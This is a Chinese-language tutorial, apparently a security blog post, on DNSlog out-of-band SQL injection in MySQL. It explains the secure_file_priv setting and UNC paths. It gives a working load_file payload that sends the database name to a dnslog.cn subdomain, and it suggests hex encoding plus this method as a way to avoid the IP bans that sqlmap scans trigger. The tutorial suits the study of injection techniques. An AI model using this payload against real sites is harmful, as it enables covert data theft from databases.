DNSlog注入
DNSlog注入原理
dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据
一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度
首先说明,dns带外查询属于MySQL注入,在MySQL中有个系统属性
secure_file_priv特性,有三种状态
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
可了解一下load_file和outfile
show variables like ‘%secure%’;查看load_file()可以读取的磁盘。
有路径或为null 的 则不可以进行 DNSlog 外带
为空的则可以
在 my.ini 可以设置
设置完要重启一下mysql服务 任务管理器中 重启服务
DNSlog注入工具
http://ceye.io
这里用 http://www.dnslog.cn 来演示
首先看看怎么用 效果
复制到网址处 前面加点信息 查询
我们可以看到 刚刚查询该域名的信息就被记录下来了
SQL注入利用
当前查询信息
UNC路径
什么是UNC路径?
UNC路径就是类似\softer这样的形式的网络路径。它符合 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径
那我们这就是通过这种方式来带出信息
load_file() 里面我们构造UNC路径
1、四个 \ 其中为转义 代表两个 \
2、后面跟上我们要的信息
3、跟上我们的域名
4、最后还有个文件名,可以随意写 如下面的 123
那么mysql 就会去访问这个路径 去找这个路径下的文件123
也就会访问我们的地址 那么就会向上DNS解析 服务器就会记录下这次解析
我们再查DNSlog 日志 他的记录 ,然后我们就带出了信息
select load_file(concat('\\\\',(select database()),'.qqjoy9.dnslog.cn\\123'));
我们要的信息就带出来了
这里要注意的是,如果外带信息有特殊字符
例如 我们要外带这个 里面有个 @ 那么就外带不了
可以通过hex函数 转为16进制来外带
那么之后就是在实际应用中 能select load_file的地方就可以尝试 外带